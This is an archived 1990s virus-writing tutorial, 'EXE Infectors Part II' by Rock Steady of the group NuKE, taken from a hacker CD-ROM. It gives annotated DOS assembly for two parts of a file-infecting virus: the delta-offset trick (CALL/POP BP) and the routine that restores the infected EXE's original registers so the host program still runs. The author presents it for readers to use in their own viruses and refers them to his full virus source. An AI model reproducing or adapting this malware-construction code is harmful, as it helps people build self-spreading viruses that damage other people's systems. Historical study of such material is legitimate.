home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / virus / virusprogramming / rstut006.txt < prev    next >
Text File  |  1996-04-16  |  7KB  |  102 lines

  1.                       
  2.                   *****************************   
  3.                   **  EXE Infectors Part II  **                              
  4.                   **                         **                              
  5.                   **   By Rock Steady/NuKE   **
  6.                   *****************************
  7.  
  8.  The first part consisted on how to Infect the EXE file, from a resident   
  9.  virus. However, that is only HALF the code and understanding needed for   
  10.  EXE infectors. The part to follow, is on how to give control back to the  
  11.  original EXE file. This is one part of EXE infectors, that mostly EVERY   
  12.  ONE tend to forget to point out. Big tickle, you know how to infect the   
  13.  EXE, but can you make the original EXE run after its infection? Do you    
  14.  know how to restore the registers we took from the EXE header? Anyhow     
  15.  lets get going...                                                         
  16.                                                                            
  17.  If the Infected EXE file is now executed, the first Line of Code it will  
  18.  encounter will be the first byte of our Virus. Since CS:IP have been      
  19.  changed in the header (Part I) to point to our Virus. The first thing     
  20.  we will need to do, is set up a Variable offset, (As I call it). Basically
  21.  when TASM compiles our virus, all variables and other data locations are  
  22.  given a FIX address. Though in the case of the Virus this is NOT GOOD as  
  23.  viruses, tend to append themselves, and therefore variables are never     
  24.  in the same location...                                                   
  25.  Fig 1.                                                                    
  26.    (Original ASM Source)                                                   
  27.            CALL   doit_Now             ;Call PUSHes CS:IP addresses        
  28.  doit_now: POP    BP                   ;POP in BP the IP register          
  29.            SUB    BP,offset doit_now   ;Make it EQUAL 0 for first Compile! 
  30.            MOV    AX,word ptr cs:[variable+BP] ;BP=0 now it works!         
  31.            ...                                                             
  32.  variable  dd     55                                                       
  33.  When TASM Compiles the above Code it turns it into Fig 2. (Below)         
  34.  Fig 2.                          Fig 3.                                    
  35.    (Virus Just Compiled)                (Virus Infect to a file)           
  36.  1234:0100   CALL  1234:0103          1234:0100  JMP  500                  
  37.  1234:0103   POP   BP                 1234:0102  ...   (Infect File)       
  38.  1234:0104   SUB   BP,0103                       ...      ''    ''         
  39.  1234:0107   MOV   AX,[0200+BP]       1234:0200  ...      ''    ''         
  40.              ...                                 ...      ''    ''         
  41.  1234:0200   dd    55                 1234:0500  CALL 1234:0503            
  42.                                       1234:0503  POP  BP       (BP=503)    
  43.                                       1234:0504  SUB  BP,0103  (BP=400)    
  44.                                       1234:0507  MOV  AX,[0200+BP]         
  45.                                                  ...      (200+BP=600)     
  46.                                       1234:0600  dd   55                   
  47.  Later when the Virus infects a File, it will represent Fig 3. Now, when   
  48.  the CALL command is executed, it PUSHes into the Stacks the NEXT CS:IP    
  49.  so when it has to RETurn, all it has to do is POP back the CS:IP to know  
  50.  exactly where it left off! So we can take advantage of the command, by    
  51.  POPing back ourselves, thus this will give us the NEXT byte from the CALL 
  52.  command. which as you see, in the examples is our POP BP statement.       
  53.                                                                            
  54.  However when the Virus is Freshly Compiled, all Registers values are GOOD,
  55.  so that is why we must make BP=0 the first time, as the variables were    
  56.  set according to the sources, so no adjustment needed, though when we     
  57.  infect a file, this BP Variable Pointer come ALIVE! (View Fig 3. + Fig 2.)
  58.                                                                            
  59.  Boy, That was the HARDEST part of that, Now if you found that simple pat  
  60.  yourself on the back, as that is the only `BIG' Conflict people tend to   
  61.  disregard or forget. So any time while you are NOT resident but infected  
  62.  on the file, and you are running code from the infected file just use the 
  63.  that BP Variable Pointer, for any data being loaded... Now lets put the   
  64.  routine together, along with the routine to EXECUTE the original EXE file 
  65.                                                                            
  66.  ; After the Virus Has moved a copy of itself in memory, Control must be   
  67.  ; Given back to the Original EXE file we just infected... This is the     
  68.  ; Routine to do it..                                                      
  69.  exit_exe_file:                                                            
  70.          mov     bx,word ptr cs:[buffer+22][bp]  ;Loads CS register        
  71.          mov     ax,cs                           ;Move current CS in AX    
  72.          sub     ax,bx                           ;Subtract for alinment    
  73.          mov     dx,ax                                                     
  74.          add     ax,word ptr cs:[exe_cs][bp]     ;Get ORIGINAL CS          
  75.          add     dx,word ptr cs:[exe_ss][bp]     ;Get ORIGINAL SS          
  76.          mov     bx,word ptr cs:[exe_ip][bp]     ;Get ORIGINAL IP          
  77.          mov     word ptr cs:[fuck_yeah][bp],bx  ;Put IP                   
  78.          mov     word ptr cs:[fuck_yeah+2][bp],ax ;Put CS (Reverse Order)  
  79.          mov     ax,word ptr cs:[exe_sp][bp]     ;Get ORIGNAL SP           
  80.          mov     word ptr cs:[Rock_fix1][bp],dx  ;Put in SS                
  81.          mov     word ptr cs:[Rock_fix2][bp],ax  ;Put in SP                
  82.          db      0B8h     ;The Byte `B80000' is really a MOV AX,????       
  83.  Rock_Fix1:               ;???? is the Value of SS that we will put into   
  84.          dw      0        ;THIS LINE!                                      
  85.          cli                     ;Disable Interrupts (No Jamming)          
  86.          mov     ss,ax           ;Mov the AX (really SS) into SS register  
  87.          db      0BCh    ;Byte `BC0000' is really a MOV SP,????            
  88.  Rock_Fix2:              ;???? is the Value of SP that we will put into    
  89.          dw      0       ;THIS LINE!!                                      
  90.          sti                     ;Enable Interrupts                        
  91.          db      0EAh    ;The Byte `EA00000000' is a JMP CS:IP How ever    
  92.  fuck_Yeah:              ;IP comes FIRST then CS (Reverse Order) And then  
  93.          dd      0       ;the Virus does the JMP CS:IP to the Original     
  94.                          ; Simple huh?                                     
  95.  ; To see this as a HOLE Virus look at `NuKE PoX V1.1' Virus Sources Codes 
  96.  ; Made by me (Rock Steady) As you can see the Code is ORGINAL, and nothing
  97.  ; that looks like any of them Sources we see around. Though I give it to  
  98.  ; you to use.                                                             
  99.                          Rock Steady / NuKE                                
  100.    `One, Two, One, Two, One, Two... Come On Get into that Olympic Spirit'  
  101.      `Lose Them pounds, Get Rid of that unwanted FAT of them Drives...'    
  102.